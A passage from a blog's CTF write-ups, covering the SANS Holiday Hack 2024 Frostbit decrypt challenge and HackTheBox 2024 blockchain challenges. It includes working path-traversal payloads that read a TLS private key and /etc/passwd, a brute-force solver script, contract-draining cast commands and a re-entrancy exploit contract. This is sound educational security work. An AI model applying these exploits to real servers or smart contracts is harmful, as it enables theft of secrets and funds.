and then encrypts the encryption key with an asymmetric cipher (with a public key) so that the encryption key can only be decrypted by the owner of the private key.\nNow, let\u0026rsquo;s go back to the coredump / memory file. We know that the infrastructure is hosted at api.frostbit.app, so let\u0026rsquo;s look for any other URLs in the dump:\n$ strings frostbit_core_dump.13 | grep \u0026#34;https://api.frostbit.app\u0026#34; https://api.frostbit.app/view/VV7evQlRVAfxm9pFnI/\u0026lt;REDACTED-UUID\u0026gt;/status?digest=8130084086260801122812485000433c Using strings, we find another really useful URL! This seems to be a \u0026ldquo;status\u0026rdquo; URL. When visiting this page, we find that the infrastructure is still running, and we are presented with a ransom note:\nThe Ransom Note webpage The URL for this ransom note page includes the following elements:\nThe hostname (api.frostbit.app) My status ID (VV7evQlRVAfxm9pFnI) My UUID (likely different for every user of the game who tries to complete this challenge) A \u0026ldquo;digest\u0026rdquo; value, that looks like a 16-byte hex value Using Dev Mode # Where do we go from here? Let\u0026rsquo;s apply the next two hints related to dev mode, and broadcasted MQTT messages.\nSpecifically, in a previous challenge named \u0026ldquo;SantaVision\u0026rdquo;, there was a MQTT topic named \u0026ldquo;frostbitfeed\u0026rdquo;, which is very likely related to the frostbit ransomware. The hint from that challenge that was sent in this MQTT topic was as follows:\nLet\u0026#39;s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key This seems to be referencing a path to a private key on the server that was used to setup Let\u0026rsquo;s Encrypt (a free certificate authority service for setting up TLS certs).\nRegarding the \u0026ldquo;dev mode\u0026rdquo; hint, we can start by looking into the HTML behind the ransom note page. We find the following interesting div in the HTML:\n\u0026lt;!-- Placeholder for Debug Data --\u0026gt; \u0026lt;div id=\u0026#34;debug\u0026#34; style=\u0026#34;margin-top: 20px;\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; It seems like the hints are suggesting we can supply extra parameters to enable dev mode / debug mode. After some trial and error, we find that adding \u0026amp;debug=true to the end of the URL provides some extra information back from the server, and enables data to be filled in this HTML div.\nHowever, just providing this extra parameter by itself doesn\u0026rsquo;t seem to provide us much information. We likely need to mess with other parameters to get back useful debug information from the server. Remembering the different parts of the URL, let\u0026rsquo;s try playing with the status ID, UUID, and digest, with debug mode enabled.\nPlaying with the status ID value seems to keep returning a 404 error (Not Found) with the following debug error:\n{\u0026#34;debug\u0026#34;:true,\u0026#34;error\u0026#34;:\u0026#34;Status Id File Not Found\u0026#34;} Playing with the UUID returns HTTP 400 (Bad Request) instead of 404, with the following debug error:\n{\u0026#34;debug\u0026#34;:true,\u0026#34;error\u0026#34;:\u0026#34;Invalid UUID Format\u0026#34;} Finally, playing with the digest value (e.g. removing a character), returns a HTTP 400 (Bad Request) with the following debug error:\n{\u0026#34;debug\u0026#34;:true,\u0026#34;error\u0026#34;:\u0026#34;Status Id File Digest Validation Error: Traceback (most recent call last):\\n File \\\u0026#34;/app/frostbit/ransomware/static/FrostBiteHashlib.py\\\u0026#34;, line 55, in validate\\n decoded_bytes = binascii.unhexlify(hex_string)\\nbinascii.Error: Odd-length string\\n\u0026#34;} This error seems quite useful. We see a few interesting things here:\nThe digest is a hex string, and decoding an odd-length hex value causes the error The digest is called a \u0026ldquo;Status Id File Digest\u0026rdquo; so is likely connected to our status file The file that caused the error is a python file located at /app/frostbit/ransomware/static/FrostBiteHashlib.py Notably, this python script is in the \u0026ldquo;static\u0026rdquo; folder. There was also an image in a \u0026ldquo;static\u0026rdquo; folder in the HTML of the ransom note page:\n\u0026lt;img src=\u0026#34;/static/frostbit.png\u0026#34; alt=\u0026#34;Frost-Bit Logo\u0026#34;\u0026gt; As it turns out, the python file can also be fetched from the server, as it has been placed in this static, publicly visible folder: https://api.frostbit.app/static/FrostBiteHashlib.py\nIn this python file, we see a class named \u0026ldquo;Frostbyte128\u0026rdquo; that has a _compute_hash function, update function, and validate function. A local variable self.hash_result is set when the class is instantiated with the value returned from the _compute_hash function, and the validate function just checks the supplied value against the local hash_result value. The name of the class has 128 at the end of it, which likely represents the number of bits in the digest value i.e. a 16-byte value / 128-bits.\nThis \u0026ldquo;Hashlib\u0026rdquo; file is likely being references in the final hint for this challenge: the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. Putting what we know together, it seems like we need to find a vulnerability in the hash generator library so that we can access other files, apart from the status ID file (which is my case, was named VV7evQlRVAfxm9pFnI).\nLet\u0026rsquo;s first get an understanding of how the _compute_hash function works:\n_compute_hash function in the FrostbiteHashLib.py file The hash is first initialized to all 0s, with a length of 16 bytes The first for loop creates a hash of the file contents (file_bytes) for every byte in the file, xrd = file_bytes XOR nonce, and hash_result is a 16-byte rotating xor of xrd This \u0026ldquo;nonce\u0026rdquo; may be the same nonce we got from the PCAP decryption step We now have a \u0026ldquo;midway hash result\u0026rdquo; that takes into account the file_bytes and nonce. Importantly, the \u0026ldquo;count\u0026rdquo; is now the length of the file_bytes (this is important for the mod expressions in the second loop). The second for loop performs a rotating bitwise AND of the \u0026ldquo;midway hash result\u0026rdquo; with a XOR of the nonce with the filename When exploiting the vulnerability in this calculation, we aim to be able to predict the digest of any file of our choice. We need to do this without knowing the file contents (since we are trying to access other files on the filesystem), and only knowing the nonce.\nFinal Solution(s) # We are now at the hardest part of this challenge. After discussions with some smart friends I made on discord, we gathered that this challenge can be solved in a few different ways. All ways involve forcing the digest to be full of 0s i.e. 16 bytes of 0x00. Looking at the final loop, if we can force xrd to be 0, we can also force hash_result to be 0, as hash_result is a bitwise AND of the \u0026ldquo;midway hash result\u0026rdquo; and \u0026ldquo;xrd\u0026rdquo;. Here is a summary of the ways we can achieve this objective:\nIf we can include the nonce in the filename, it will be XORed with the server\u0026rsquo;s nonce in the second for loop, and result in \u0026ldquo;xrd\u0026rdquo; becoming 0. There is a caveat however, as it requires us to perfectly line up the nonce we send in the filename with the nonce on the server. Additionally, we need to double the nonce as we want to zero-out a digest that is 16 bytes, while the nonce is only 8 bytes.\nWe can brute force adding one byte at a time to the filename, for 16 bytes. When adding a byte, we check that the respective digest byte is calculated to be zero, and the server doesn\u0026rsquo;t return a \u0026ldquo;file not found\u0026rdquo; error when adding the byte. We do this 16 times to get 16 bytes that create a 16-byte digest of all 0s. This works because there will always be some byte that can produce zero when XORed with the respective nonce byte, and hence cause xrd to be 0 as well. The benefit of this method is that we do not need to guess the length of the payload; we know it will just be the filename + 16 bytes.\nInclude 16 bytes in the filename that are the bitwise inverse of another 16 bytes in the filename. This utilizes the idea that (A ^ C) \u0026amp; (B ^ C) == 0, where A and B are inverse of each other. This method does not require knowledge of the nonce, and also does not require guessing the length of the payload.\nNote that all of these solutions require us to send special bytes in the filename, that we need the server to ignore when actually fetching the file. We can test that the server supports a particular byte by adding it to the filename, and checking whether the server returns a file not found error (failure scenario) or an invalid digest error (file successfully found).\nBelow I will show how we can solve this problem using each of the above solutions. The file we will target, and try to access, is the nginx private key that was mentioned in the MQTT hint.\nSolution 1: Double-Nonce # As mentioned, this way requires repeating the nonce twice, and guessing the length of the whole filename payload so that the double-nonce lines up with the nonce on the server and cancels it out. My nonce from the PCAP was fb7b442bb0713ec4, so repeating that twice unhexlified, and prepending it to the target file, looks like this:\n\\xfb\\x7b\\x44\\x2b\\xb0\\x71\\x3e\\xc4\\xfb\\x7b\\x44\\x2b\\xb0\\x71\\x3e\\xc4../../../../etc/nginx/certs/api.frostbit.app.key XOR \\xfb\\x7b\\x44\\x2b\\xb0\\x71\\x3e\\xc4\\xfb\\x7b\\x44\\x2b\\xb0\\x71\\x3e\\xc4…(repeated) Remember that we are repeating the nonce twice as we want to 0 out a 16-byte digest.\nThe double-nonce that we send, if lined up with the server\u0026rsquo;s repeated nonces, will cancel each other out (XOR) and result in an all 0s digest. It will stay 0 as we keep iterating through the filename as well, as once the hash_result becomes 0, it will stay 0 no matter what it is ANDed with (x \u0026amp; 0 == 0, for any value of x).\nBut how can we make sure that the double-nonce we send lines up with the servers nonce? This requires a bit of trial and error. We know that the total length of the base filename (../../../../etc/nginx/certs/api.frostbit.app.key) is 48 bytes. When we add 16 bytes of the nonce to this, we get 64 bytes. After some trial and error, we find that 68 bytes is a valid solution for filename length that allows the double-nonce to line up with the server (assuming the double-nonce is prepended to the filename). Therefore, adding 4 bytes, such as /../, to the 64-byte filename gives us a valid solution:\nhttps://api.frostbit.app/view/%25fb%257b%2544%252b%25b0%2571%253e%25c4%25fb%257b%2544%252b%25b0%2571%253e%25c4%252f..%252f..%252f..%252f..%252f..%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nThe payload decodes to the following, which is exactly 68 bytes long:\nû{D+°q\u0026gt;Äû{D+°q\u0026gt;Ä/../../../../../etc/nginx/certs/api.frostbit.app.key {nonce} {nonce} /../ {followed by target-file path} Note that the filename needs to be double URL encoded so that it gets treated as a parameter in the URL rather than a URL path.\nAfter successfully retrieving the RSA key, we know its file length to be exactly 3243 bytes. Therefore, we can reverse engineer the _compute_hash code to determine the different lengths our payload can be to allow for the double-nonce to line up with the servers nonce. In other words, at some point in the second loop, we want filename to line up with the nonce at the 1st position of each.\nIn our calculations, we know that file_length mod nonce_length is 3 (3243 mod 8). To get back to the start of the nonce, we need to move forward 5 spots modulo 8 (i.e. 13, 21, 29\u0026hellip; also work). Since we want the start of the filename to meet this position, we can represent an equation like this:\n(filename_length - count_filename_mod) mod 8 = 5 i.e. x - (3243 mod x) mod 8 = 5, where x is the unknown filename length In other words, at the start of the second loop, the distance to the start of the filename [modulo 8] must be 5 positions away from the start of the nonce. If this condition matches, the start of the filename payload (the double nonces) will line up with the nonce in the XOR loop.\nWe can use python to tell us the different solutions for x, where x is between 65 (minimum length including double nonce and filename) and 90 (approximate maximum bytes that the server accepts for a filename). Here are the filename lengths that will solve the equation (also have to make sure that the count_filename_mod is greater than 16 so that the nonce actually rolls over to start at the 0th position):\n\u0026gt;\u0026gt;\u0026gt; lengths = [] \u0026gt;\u0026gt;\u0026gt; for x in range(65,90): ... if (((x - (3243 % x)) % 8) == 5) and (3243 % x \u0026gt; 16): ... lengths.append(x) ... \u0026gt;\u0026gt;\u0026gt; lengths [68, 74, 80, 82, 88] The full filename payload must be one of these lengths to successfully retrieve the RSA key! This is why a length of 68 worked before.\nTherefore, adding 6 bytes to our original payload (such as adding ../../) to make our payload a length of 74 bytes will also work:\nhttps://api.frostbit.app/view/%25fb%257b%2544%252b%25b0%2571%253e%25c4%25fb%257b%2544%252b%25b0%2571%253e%25c4%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nUnfortunately, as we do not know the length of the file contents before solving the challenge, we need to guess one of these lengths. The next two solutions do not require us to guess this length.\nSolution 2: Brute Force 16 Bytes # The second solution involves brute forcing 16 bytes after our filename. Each byte will zero out its respective byte in the digest.\nTo perform this brute force, we need to set up python code to calculate the digest, so that we can determine whether the respective byte in the digest gets zeroed out by our test byte. As the nonce is a static value known to us, there is only one value that is unknown before we can calculate the digest: the file_bytes (which the midway hash is dependent upon). To get around this limitation, we can assume that the midway hash is the worst-case scenario (i.e. all 1s / all 0xff\u0026rsquo;s), which we need to zero out in the bitwise AND in the second loop. The logic is that if we can find bytes that zero out this midway hash when a bitwise AND is performed on it, then these bytes should be able to zero out any possible midway hash.\nOne caveat is that the server will not accept just any byte to be added to the end of the filename. We need to use the errors returned from the server to make sure that adding the padding bytes doesn\u0026rsquo;t cause a file not found error.\nThe following solver script implements the solution that brute forces 16 bytes, byte by byte, while checking that the respective digest byte gets zeroed out, and doesn\u0026rsquo;t return a file not found error:\nimport binascii, urllib.parse, requests orig_filename = b\u0026#34;../../../../etc/nginx/certs/api.frostbit.app.key\u0026#34; nonce = \u0026#34;fb7b442bb0713ec4\u0026#34; # the one from the pcap nonce_bytes = binascii.unhexlify(nonce) hash_length = 16 myUUID = \u0026#34;REDACTED-UUID\u0026#34; for y in range(hash_length): for x in range(255): count = 0 filename_bytes = orig_filename + bytes([x]) digest = bytearray(b\u0026#39;\\xff\u0026#39;) * 16 # assume all 1s come out of the first stage for i in range(len(filename_bytes)): count_mod = count % hash_length count_filename_mod = count % len(filename_bytes) count_nonce_mod = count % len(nonce_bytes) xrd = filename_bytes[count_filename_mod] ^ nonce_bytes[count_nonce_mod] digest[count_mod] = digest[count_mod] \u0026amp; xrd count += 1 if digest[y] == 0: request_url = \u0026#39;http://api.frostbit.app/view/\u0026#39; + urllib.parse.quote_plus(urllib.parse.quote_plus(filename_bytes)) + myUUID + \u0026#39;/status?digest=00000000000000000000000000000000\u0026amp;debug=true\u0026#39; print(request_url) response = requests.get(request_url) if response.status_code != 404: print(digest) print(filename_bytes) orig_filename += bytes([x]) break The solution provided by the above script for my UUID and nonce is: http://api.frostbit.app/view/..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key%2591%2509%2580%2509%2580%251C%251C%2580%2580%2509%2509%2509%2590%2509%251C%2580/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nThe same script can also be used to fetch files like ../../../../../proc/self/environ:\nhttp://api.frostbit.app/view/..%252F..%252F..%252F..%252F..%252Fproc%252Fself%252Fenviron%2581%2590%250C%2509%2580%2590%251C%2580%25D0%25D0%25C0%2509%2590%2509%251C%2580/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nNote that these solutions are dependent on my UUID, as it is connected to my nonce on the server side.\nThe second solution was able to successfully brute force bytes that zero out the digest, while not requiring us to guess the length of the payload.\nSolution 3: Inverse of 16 bytes # The third solution is the cleanest of them all. This solution does not require us to guess the length of the payload, AND does not even require knowledge of the nonce.\nThis solution works due to the following mathematic rule:\n\\(A \\text{\\textasciicircum} C \\enspace \\\u0026 \\enspace B \\text{\\textasciicircum} C = 0\\)\nwhere A and B are bitwise inverses of each other\nAs we are including ../\u0026rsquo;s in our filename, we can include the inverse of these characters into the payload before the filename, so that the bytes get bitwise ANDed with each other and cancel each other out. In the above equation, C represents the nonce and can be ignored in the payload as the equation will still be 0 as long as A and B are inverses of each other.\nWe need to make sure we include 16 bytes of A and B so that we zero out the 16-byte digest. Additionally, we know the inverse of %2E (.) is %D1 and the inverse of %2F (/) is %D0.\nIn the following payload, A is \\xd1\\xd1\\xd0\\xd1\\xd1\\xd0\\xd1\\xd1\\xd0\\xd1\\xd1\\xd0\\xd0\\xd1\\xd1\\xd0 and B is ../../../..//../ (the extra / is to make the payload into 16 bytes while still being a valid filepath).\nFinal payload: https://api.frostbit.app/view/%25D1%25D1%25D0%25D1%25D1%25D0%25D1%25D1%25D0%25D1%25D1%25D0%25D0%25D1%25D1%25D0%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252F%252E%252E%252Fetc%252Fnginx%252Fcerts%252Fapi%252Efrostbit%252Eapp%252Ekey/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nAnd a similar payload for accessing /etc/passwd: https://api.frostbit.app/view/%25D1%25D1%25D0%25D1%25D1%25D0%25D1%25D1%25D0%25D1%25D1%25D0%25D0%25D1%25D1%25D0%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252F%252E%252E%252Fetc%252Fpasswd/REDACTED-UUID/status?digest=00000000000000000000000000000000\u0026debug=true\nAs mentioned, this solution works even without knowing the nonce, and uses very minimal calculations.\nPost-exploitation Decryption Step # The final decryption step involves using what we know to perform two stages of decryption:\nAsymmetric decryption using the RSA key to get the encryption key Symmetric decryption using the encryption key to decrypt the naughty and nice list Now that we have the Nginx RSA key, we can now decrypt the encryptedkey with this RSA key:\nRSA decryption of the encryptedkey Result: e2c7c1f486e1f4b9b4427bf5d1d8cf4a,fb7b442bb0713ec4\nThis must be our key decrypted! The second part after the comma is actually just our nonce from before (not an IV). Finally, we can now use the key to decrypt the naughty and nice list!\nLet\u0026rsquo;s get the naughty nice list in hex so that we can copy-paste it into cyberchef to decrypt it:\n$ xxd -ps naughty_nice_list.csv.frostbit | tr -d \u0026#39;\\n\u0026#39; | xclip -selection clipboard We paste the hex version of the file into cyberchef, and decrypt the file using AES-CBC:\nAES-CBC decryption of the naughty-nice CSV file The decryption only worked successfully when we set the Key as UTF-8 rather than hex. The IV can be any 16-bytes, as it is only used to decrypt the first 16-bytes of the encrypted file (see AES-CBC decryption diagram).\nWith that, we finally have the naughty-nice list decrypted!\nBig thanks to the SANS Holiday Hack organisers for providing a great learning experience!\nI hope you enjoyed my write-up 😄\n","date":"5 January 2025","externalUrl":null,"permalink":"/posts/sans-holiday-hack-2024-2025/","section":"Posts","summary":"My write-up for the decrypt challenge from SANS Holiday Hack 2024-2025","title":"Decrypt Challenge from SANS HHC 2024","type":"posts"},{"content":"","date":"5 January 2025","externalUrl":null,"permalink":"/tags/encryption/","section":"Tags","summary":"","title":"Encryption","type":"tags"},{"content":"","date":"22 March 2024","externalUrl":null,"permalink":"/tags/blockchain/","section":"Tags","summary":"","title":"Blockchain","type":"tags"},{"content":"","date":"22 March 2024","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"The HackTheBox Cyber Apocalypse 2024 CTF was live from 9th to 13th March 2024, and included 4 challenges in the Blockchain category. 3 of the challenges were rated easy, and 1 was rated hard. This post is my write-up for these challenges.\nIntro to Blockchain challenges on HTB # For each challenge, you are provided with an IP address and 2 ports. On one port, we have the RPC server running an implementation of the ethereum protocol, and on the other port, we have a basic service that will tell us the contract address of the target contract and can tell us whether the challenge has been solved or not. This second service is also the one that will provide us the flag, once we have solved the challenge.\nEach challenge comes with a Setup.sol file which sets up the challenge, including any contracts required, and has an isSolved function that defines the conditions required for solving the challenge. To solve ethereum based blockchain challenges, I use the Foundry development toolchain, which comes with some awesome tools:\ncast for performing ethereum RPC calls. Use cast call to call a function on a smart contract without creating a transaction. Use cast send to perform a transaction on a smart contract. See cast documentation here. forge for building and deploying smart contracts. Use forge create to deploy a new contract on the blockchain (requires RPC URL and PRIV KEY as parameters). Use forge script and forge test for scripts and tests respectively. These commands take in a PRIV KEY parameter which corresponds to the user who will be paying the gas required to run these executions, and an RPC URL parameter which references the blockchain we are communicating with. chisel for an interactive solidity shell, that helps quickly test the behavior of Solidity snippets on a local network anvil for setting up your own local testnet node for deploying and testing smart contracts. Alternatively, you can test using the Sepolia test network (i.e. integrate sepolia with your metamask local ETH account, and use a faucet like this one to get free test ETH every day). Challenge 1: Russian Roulette # This challenge is a basic warm-up that only requires calling a single function multiple times to win. We are provided with two ports on the same server e.g. ports 43886 and 58931 on server 94.237.63.128. To test the RPC server is responding appropriately, we can use the following cast command to fetch the timestamp of the genesis block:\n$ cast age 1 --rpc-url http://94.237.63.128:58931 Thu Mar 14 07:26:46 2024 Additionally, we can use nc to interact with the other port to get information about the target contract and our user\u0026rsquo;s private key:\n$ nc 94.237.63.128 43886 1 - Connection information 2 - Restart Instance 3 - Get flag action? 1 Private key : 0x5be08fea40d9d70f39d8daba50f6a0e470aa6701665cedce9a6c3f8457e5ed14 Address : 0x541b91DE20580B182b9A662f4eF8c8534dcfa4D0 Target contract : 0xC665cd467185eA510a6D4499Bc2aB16C58E6A6ac Setup contract : 0x56c3aeaDd122774B1BB0aA70edfE3012973FF131 The Setup.sol contract has the following isSolved function:\nfunction isSolved() public view returns (bool) { return address(TARGET).balance == 0; } This means we are required to completely drain the target contract to solve this challenge. The target contract only has one function which looks like this:\nfunction pullTrigger() public returns (string memory) { if (uint256(blockhash(block.number - 1)) % 10 == 7) { selfdestruct(payable(msg.sender)); // 💀 } else { return \u0026#34;im SAFU ... for now\u0026#34;; } } I.e. when the hash of the previous block has a remainder of 7 when divided by 10, this contract will self-destruct and send all its funds to the initiator of the call.\nTo exploit this contract, we can use a cast command like this, and call it many times (it took me 9 tries) to eventually cause the selfdestruct to execute:\n$ cast send --rpc-url \u0026#34;http://94.237.63.128:58931\u0026#34; --private-key 0x5be08fea40d9d70f39d8daba50f6a0e470aa6701665cedce9a6c3f8457e5ed14 0xC665cd467185eA510a6D4499Bc2aB16C58E6A6ac \u0026#34;pullTrigger()\u0026#34; As you can see, the cast send command was used to send a transaction which executed the pullTrigger() function on the target contract address. After running this a bunch of times, we can use the utility service on the other port to get the flag (see action 3 above).\nChallenge 2: Lucky Faucet # In this challenge, the Setup.sol function provides the following isSolved function:\nfunction isSolved() public view returns (bool) { return address(TARGET).balance \u0026lt;= INITIAL_BALANCE - 10 ether; } I.e. we need to reduce the target contract\u0026rsquo;s balance by at least 10 ether to solve the challenge. The initial balance is 500 ETH. The challenge contract looks like this:\n// SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract LuckyFaucet { int64 public upperBound; int64 public lowerBound; constructor() payable { // start with 50M-100M wei Range until player changes it upperBound = 100_000_000; lowerBound = 50_000_000; } function setBounds(int64 _newLowerBound, int64 _newUpperBound) public { require(_newUpperBound \u0026lt;= 100_000_000, \u0026#34;100M wei is the max upperBound sry\u0026#34;); require(_newLowerBound \u0026lt;= 50_000_000, \u0026#34;50M wei is the max lowerBound sry\u0026#34;); require(_newLowerBound \u0026lt;= _newUpperBound); // why? because if you don\u0026#39;t need this much, pls lower the upper bound :) // we don\u0026#39;t have infinite money glitch. upperBound = _newUpperBound; lowerBound = _newLowerBound; } function sendRandomETH() public returns (bool, uint64) { int256 randomInt = int256(blockhash(block.number - 1)); // \u0026#34;but it\u0026#39;s not actually random 🤓\u0026#34; // we can safely cast to uint64 since we\u0026#39;ll never // have to worry about sending more than 2**64 - 1 wei uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); bool sent = msg.sender.send(amountToSend); return (sent, amountToSend); } } We see a setBounds() function which takes in two integers, which makes some checks and assigns the bounds variables, and a sendRandomETH() function which sends a random amount of eth to the caller.\nIf all runs smoothly, this contract is only meant to send between 50M and 100M Wei to the caller i.e. between 0.00000000005 and 0.00000000010 ETH. We need to find a way to extract 10 ETH from this contract, without brute forcing (as that would probably take too long).\nThe vulnerability in this contract is that the setBounds() function stores the bounds as int64 as opposed to uint64 allowing them to be negative numbers, and the sendRandomETH() function also doesn\u0026rsquo;t check whether the amountToSend is bigger than the upperBound. If the lower bound is a large negative number, then amountToSend becomes a large positive number (you can play around with values in the chisel playground to confirm this).\nTo exploit this vulnerability, we can use the following cast send command to update the lower bound to -5 ETH as follows:\n$ cast send --rpc-url \u0026#34;http://\u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;\u0026#34; --private-key \u0026#34;\u0026lt;PRIV_KEY\u0026gt;\u0026#34; \u0026#34;\u0026lt;TARGET_CONTRACT\u0026gt;\u0026#34; \u0026#34;setBounds(int64,int64)\u0026#34; -- -5000000000000000000 100000000 This is how we can pass in parameters to contract functions when we call them. We can also use cast call to verify the state variable lowerBound was updated correctly like this:\n$ cast call --rpc-url \u0026#34;http://\u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;\u0026#34; --private-key \u0026#34;\u0026lt;PRIV_KEY\u0026gt;\u0026#34; \u0026#34;\u0026lt;TARGET_CONTRACT\u0026gt;\u0026#34; \u0026#34;lowerBound()(int64)\u0026#34; -5000000000000000000 Note that lowerBound() is a function that returns the lowerBound state variable in int64 format.\nNext, we call sendRandomETH() as follows to send us a random amount of eth between 0 and max(int64) Wei (or 9.22 ETH). We need to call this a couple of times to transfer more than 10 ETH:\n$ cast send --rpc-url \u0026#34;http://\u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;\u0026#34; --private-key \u0026#34;\u0026lt;PRIV_KEY\u0026gt;\u0026#34; \u0026#34;\u0026lt;TARGET_CONTRACT\u0026gt;\u0026#34; \u0026#34;sendRandomETH()\u0026#34; $ cast send --rpc-url \u0026#34;http://\u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;\u0026#34; --private-key \u0026#34;\u0026lt;PRIV_KEY\u0026gt;\u0026#34; \u0026#34;\u0026lt;TARGET_CONTRACT\u0026gt;\u0026#34; \u0026#34;sendRandomETH()\u0026#34; $ cast balance --rpc-url \u0026#34;http://\u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;\u0026#34; --private-key \u0026#34;\u0026lt;PRIV_KEY\u0026gt;\u0026#34; \u0026#34;\u0026lt;TARGET_CONTRACT\u0026gt;\u0026#34; 479502396641477447848 Once the balance of the contract is less than 490 ETH (i.e. it starts with less than 490), we\u0026rsquo;ve reached our goal, and can fetch the flag from the admin port!\nChallenge 3: Recovery # This challenge is a little different, with an SSH server also provided to us. The challenge text is as follows:\nWe are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept. We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins? Username: satoshi Password: L4mb0Pr0j3ct NOTE: Network is regtest, check connection info in the handler first. We can SSH to the server with the following command:\n$ ssh -p \u0026lt;SSH_PORT\u0026gt; satoshi@\u0026lt;IP_ADDR\u0026gt; Once logged in as satoshi, we find a seed phrase in the user\u0026rsquo;s home directory:\nsatoshi@ng-team-21362-blockchainrecoveryca2024-l0r53-77749b7cf9-jjjlz ➜ ~ cat wallet/electrum-wallet-seed.txt another friend embrace cinnamon move midnight slice neutral lend music ladder exact As the filename mentions electrum wallet, we download this wallet and set it up to connect to the provided RPC port and network name:\n$ electrum --regtest --oneserver -s \u0026lt;IP_ADDR\u0026gt;:\u0026lt;RPC_PORT\u0026gt;:t Within the electrum wallet, we can load a local account by passing in the wallet seed, and get access to the private key of the attacker. We can then transfer the attacker\u0026rsquo;s holdings out and complete the challenge:\nElectrum Payment Sent As usual, once we have solved the challenge, we get the flag from the admin port.\nChallenge 4: Ledger Heist # This was the only challenge that was rated hard, and involves many more files. As background, I want to explain the concept of a flash loan within smart contracts, as that is the basis of how this challenge works.\nA flash loan is a type of uncollateralized loan where borrowers can gain access to funds without putting down any collateral. Usually, when implemented in Solidity, these contracts require that the loan amount (+ a fee) is returned to the Loan contract within the same transaction, so the Loan contract doesn\u0026rsquo;t lose any of the depositors\u0026rsquo; funds. If the loan amount is not paid back by the borrower, the transaction is automatically reverted, keeping the funds safe.\nIn the challenge, we are provided with 7 solidity files, and the usual 2 ports (challenge admin and RPC). We start with the Setup.sol contract to see what conditions are required to solve the challenge. The Setup contract sets up a Token contract and LoanPool contract, and provides the following isSolved() function:\nfunction isSolved() public view returns (bool) { return (TARGET.totalSupply() == 10 ether \u0026amp;\u0026amp; TOKEN.balanceOf(address(TARGET)) \u0026lt; 10 ether); } I.e. we need to keep the total supply of the target LoanPool at 10 ether, while reducing the token balance of the LoanPool. The other contracts don\u0026rsquo;t seem too relevant right now, so let\u0026rsquo;s try to understand what the LoanPool contract is doing and how it interacts with the Token contract. LoanPool.sol provides many functions for dealing with flash loans and providing funds to the LoanPool. The funds are in the form of Tokens which are defined in Token.sol. The following functions are provided within LoanPool.sol:\ndeposit() for depositing Tokens into the LoanPool withdraw() for withdrawing Tokens from the LoanPool, including any fees you have collected by loaning your funds. Your balance is held in a userRecords mapping. flashLoan() which takes in a borrower address, token address, amount, and calldata. This function computes the fee based on the amount requested, transfers Tokens to the borrower, and then calls the borrower\u0026rsquo;s onFlashLoan callback to allow them to return the money. Once this callback completes, it will check that the LoanPool\u0026rsquo;s token balance is not less than the original LoanPool balance + the calculated fee. If it is less, then the transaction is reverted. _computeFee() for calculating the fee based on a loan amount requested. The fee is 0.05% of the amount. The important thing to catch is that there is no Re-entrancy protection anywhere in the LoanPool contract! No re-entrancy protection means that we can deposit money into the LoanPool, pretending to be a depositor, with the funds that we have just borrowed from the LoanPool. This will fraudulently update the userRecords in the LoanPool saying that we have deposited funds, which we can withdraw in the future without requiring another loan! The exploitation contract looks like this:\n// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {IERC3156FlashBorrower} from \u0026#34;./Interfaces.sol\u0026#34;; import {Token} from \u0026#34;./Token.sol\u0026#34;; import {LoanPool} from \u0026#34;./LoanPool.sol\u0026#34;; contract Solution is IERC3156FlashBorrower { LoanPool pool = LoanPool(address(\u0026lt;TARGET_ADDR\u0026gt;)); Token token = Token(address(\u0026lt;TOKEN_ADDR\u0026gt;)); function exploit() public { // transfer tokens to this contract so that we can deposit fee on top token.transferFrom(address(msg.sender), address(this), 1); // borrow 100 tokens, so we now have 100 extra tokens. onFlashLoan is called as callback function. pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), 100, \u0026#34;\u0026#34;); // withdraw 101 tokens (that we now own) pool.withdraw(101); } function onFlashLoan(address, address, uint256, uint256, bytes calldata) external override returns (bytes32) { // allow LoanPool to transfer ownership of 101 tokens token.approve(address(pool), 101); // no reentrancy protection, so we can deposit what we just loaned (+ extra) and have it\u0026#39;s ownership transferred to us. pool.deposit(101); return keccak256(\u0026#34;ERC3156FlashBorrower.onFlashLoan\u0026#34;); } } The flow of the solution is as follows:\nThe exploit() function starts with a call to token.transferFrom() to transfer 1 Token from our user\u0026rsquo;s balance into the Solution contract\u0026rsquo;s Token balance. This will be required to pay the fee on top of our loan. Next, we call pool.flashLoan() with the Solution contract as the borrower, and request to borrow 100 Tokens. The fee on this will be 0.05% i.e. 0.05 Tokens. The LoanPool will transfer 100 Tokens to our Solution contract, giving it a total balance of 101 Tokens. During the flashLoan() function, our callback handler onFlashLoan() will be called. Here, we will approve() the pool to transfer ownership of 101 Tokens from the Solution contract to the Pool contract. Next, we call pool.deposit(101) to transfer ownership of 101 Tokens to the pool, and increase the balance of the pool, making it look like we have paid back our loan, with the fee. Our onFlashLoan() function returns the keccak hash required by the flashLoan() function to continue. The checks in the flashLoan() function pass, as we have returned the deposit (with extra). Finally, back 